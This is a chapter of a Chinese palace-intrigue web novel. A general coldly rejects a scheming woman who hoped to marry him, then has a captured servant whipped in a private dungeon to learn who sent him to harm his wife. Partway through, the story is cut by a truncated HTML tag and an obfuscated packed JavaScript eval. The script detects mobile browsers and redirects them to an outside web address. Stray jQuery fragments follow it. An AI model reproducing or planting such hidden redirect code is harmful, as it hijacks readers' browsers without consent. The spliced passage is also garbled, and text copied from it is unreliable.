60. 访暗牢

作品:《将军你怎么回来了(双重生)

    祁清柔马上吩咐丫鬟重新备上精致的果茶和点心,急匆匆地又上了马车,坐着车晃晃悠悠地再次来到了将军府。


    一路上她心里又气又忐忑。气的是原本以为顾云骁和祁清婉没有什么情谊,自己总归是占了上风的,谁知这一遭过去,谁知道顾


    云骁对祁清婉的感情又会生出什么变故。


    忐忑的是,若是那下人真的被抓住了,供出了王氏,顾云骁要怎么对付王氏还在其次,若是真影响了她坐上主母的位置,可如何


    是好。


    祁清柔回到将军府时,顾云骁已从城外校场回来,在书房里看着军报。侍卫丫鬟们都觉得今日的将军,比往常都要柔和,跟他们


    说话都好心情。


    “将军,”戚枫立在一旁,看着顾云骁压不住的嘴角,忍不住问道,“这边关是有什么捷报传来么?可也没听说有什么战事呀!”


    顾云骁愣了一下:“的确无事,为何这么问?”


    戚枫嘿嘿一笑:“属下从未见过将军这般高兴,就连在边关首获大捷时,都没如此这般。”


    顾云骁未作声,也才察觉自己的脸上一直带着笑,不由得耳尖红了红。


    戚枫又凑近了些,嬉皮笑脸道:“若不是边关捷报,将军何事这么高兴,满面春风的?”


    顾云骁伸手就收着力给了他后背一掌:“油嘴滑舌!让你做的事如何了?”


    戚枫正了正神色,刚要回复,就听见外面侍卫通传:“将军,祁小姐求见。”


    “请她进来。”顾云骁话落,戚枫便先退了出去。


    祁清柔刚进门就见顾云骁满脸笑意和红红的耳尖,可在看到自己时,又一副拒人千里的冷淡模样,心头的怨恨几乎要控制不住,


    却还是装出温婉可人的模样,提着食盒走上前,福了福身:


    “云骁哥哥,我今日又给你带了果茶和点心,都是你爱吃的。”


    顾云骁抬眸看了她一眼,眼底没有半分暖意,语气平淡:“不必了,吃食府中已有安排,祁小姐还是请回吧。”


    若说先前他对祁清柔还有容忍的心,毕竟存了些想要钓出沈砚之这条大鱼的心思,但过了昨日,他觉得不能再这样下去了。


    这些日子来,祁清柔母女不仅仅是仗着他的纵容在府里横行,居然得寸进尺想要给他下药,让生米煮成熟饭,真是可恶至极。


    若没有这母女二人,或许他和祁清婉之间,说不定也不会有这么多的隔阂和阻碍。


    思及此,顾云骁的脸上更是没了一点笑意。


    祁清柔却也没有退意,走上前去将食盒放在案上,面上依旧挂着笑,柔柔地说道:


    “云骁哥哥,昨日中秋宴上,我见你和姐姐都喝了不少酒,我离府时就碰见姐姐已经有了些醉意,不知她现在可还好?”


    她一边说着,一边将目光紧紧锁在顾云骁脸上,试图看出些什么。


    顾云骁听罢抬眼看了一眼祁清柔,冷冷开口:“劳祁小姐挂心,我夫人是连日准备宴席,劳累过度,酒后偶感风寒,并无大碍。”


    顿了一顿又说道:“只不过……”


    祁清柔脸上明显带着慌乱,声音都有些干涩:“不过什么?”


    “只不过有个心怀鬼胎的下人,”顾云骁面色平静,说出的话却令祁清柔心惊,“不懂规矩,正好被我撞见。”


    “那…云…云骁哥哥怎么处置的?”祁清柔磕磕巴巴地问。


    “还能怎么处置,一个下人罢了,抓了人打了板子,逐出府去便是了。”顾云骁说得轻描淡写,却看到祁清柔松了口气的样子,心


    中也有了数。


    “云骁哥哥,”祁清柔见那洒扫下人没有供出王氏,便放下心来,又开口道:


    “昨日宴席上,我瞧着你对姐姐,可是格外上心呢!云骁哥哥偏心,可从未对我如此!”


    说着还扭着帕子,撒起了娇。


    顾云骁眉头微皱,似是不解:“清婉是我夫人,我对她上心不是天经地义吗?我又为何要对你也如此?”


    祁清柔脸色一僵,红润血色都褪去了几分:“云骁哥哥,不是说好的,要娶我进门吗?”


    “我何时说过,要娶‘祁小姐’了?”顾云骁目光深沉,一字一句,“你和你娘来找我,要我娶你,我说了什么你可还记得?”


    “你说要等等!你说自有考量!”祁清柔急急说,“你还说……”说到一半便停了下来,她才发现顾云骁的确没有亲口说过要娶她。


    “看来,祁小姐已经知道自己误会了什么,不然怎么会不做声。”顾云骁还轻轻笑了一下,全然不顾面前脸色铁青的祁清柔。


    “可是,可是你先前对我那么好。”祁清柔还是不肯相信,逐渐失控,“怎么会对我一点情谊都没有?”


    “我样貌学识、琴棋书画,哪点不如祁清婉?你凭什么这样对我?”


    顾云骁冷冷说道:“祁小姐,从祁清婉进了我顾家门起,我就只认她,她是我唯一的妻,不论你是好是坏,都与我毫无干系,请


    你莫要再动什么旁的心思!”


    祁清柔心中的恼怒和不甘,就像熊熊燃烧的火,要把她所有理智都烧光。


    她歇斯底里地对着顾云骁喊道:“我不信!我不相信!”


    “明明是我先认识你的!明明是你与我有婚约的!你不可能心悦她!不可能!”


    顾云骁叹了口气,扬声道:“来人,送祁小姐回去。”


    又对着祁清柔郑重道:“祁小姐,请回吧,我还有公务要处理。日后,我和清婉会好好过日子,你也不必再来。”


    说罢挥挥手,两个女暗卫一左一右地把还在叫喊的祁清柔拖了出去。


    书房里恢复了安静,顾云骁盯着门外的方向出了神。


    他今日的做法,彻底断了暗中探查的路,之前和祁清婉约定突然生变,也不知道清婉会不会怪他。


    可是事到如今,三皇子、沈砚之还有王氏母女的关系错综复杂,连清婉亲娘的死也扑朔迷离,对方频频出招,他们只能被动挨


    打,见招拆招。


    这次运气好,能躲得过去,可下一次呢?</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413242|196345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    清婉说得极是,不能再等着他们出手,他们要主动出击。


    至于清婉,他宁可把她放在明面上、放在他身边,光明正大地好好护着、爱着,也好过从前的若即若离。


    ……


    过了两日,顾云骁来到将军府的暗牢。


    在他的面前,那个被抓的洒扫下人被铁链绑在石柱上,浑身是伤,脸上布满了血痕,气息微弱,却依旧不肯低头。


    “怎么,还是不肯说吗?”顾云骁的声音冷冰冰的,光是听着就让那人打了个冷战。


    戚枫站在一旁,手中的皮鞭还沾着血迹,躬身对顾云骁回报:


    “回将军,这人骨头硬得很,还颇懂些拳脚功夫,一般的侍卫恐怕都在他之下。不过方才已经招认,是祁夫人给了他银子,让他


    潜入将军府中,伺机谋害夫人。”


    “哦?”顾云骁眉毛挑了挑,“招了?”


    “那我且问你,王氏给了你多少银钱,能让你冒这么大的险干这样的事?那些银子又放在哪里?你又是如何知道王氏有心要害将


    军夫人的?”


    那人艰难地抬起头,嘴角都是干涸的血迹,眼睛也黯淡无光,却张张嘴,沙哑着嗓子断断续续地说道:


    “说了…是,是祁夫人指使的,要杀…要剐,悉听尊便,哪,哪来的那么多废话……”


    顾云骁又问道:“管事的说你入府时称自己曾在乡下做过洒扫活计,从未学过武功,可你那日昨夜潜入主院的身手,绝非普通下


    人能有,这是怎么回事?”


    那人眼神都没有躲闪一下:“那……那不过是……是小时候跟着村里的混子学过几招…翻墙上树的本事,算什么武功……”


    “翻墙上树?”顾云骁冷笑一声,“能潜入我将军府,避开我所有的暗卫,我制住你时,你的力量也绝非常人,这就是你翻墙上树


    练出来的?”


    顾云骁抬手示意戚枫,戚枫会意,扬起皮鞭,狠狠抽在那人身上,“啪”的一声,皮鞭落下,留下一道深深的血痕:


    “你倒真是个犟种,受了几天酷刑,还不说实话!”


    那人疼得浑身抽搐,发出惨叫,却依旧咬着牙,不肯改口说出实情。


    “你可是谁人豢养的暗卫死士?”顾云骁周身的杀伐之气愈盛,“还是…你的妻儿家人在谁人手中?”


    那人被抽得浑身是伤,意识都渐渐模糊,疼得几乎晕厥过去,却在听到这句话时有了些反应,张了张口,似是要说什么,却最终


    什么都没说,重新把头垂了下去。


    顾云骁见状,心中明白了几分,低声对戚枫说了句:“叫人继续审,留条命,你跟我走。”转身就朝暗牢外走去。


    走了几步又停了下来,没有回头,用不大不小的声音说道:


    “你不肯说,我也有别的法子查,你就是死在我这暗牢里,也是白死,但若你肯助我,说出你知道的,我自也有本事保你家中老


    小。”


    说罢,便头也不回,脚步不停地走出了暗牢。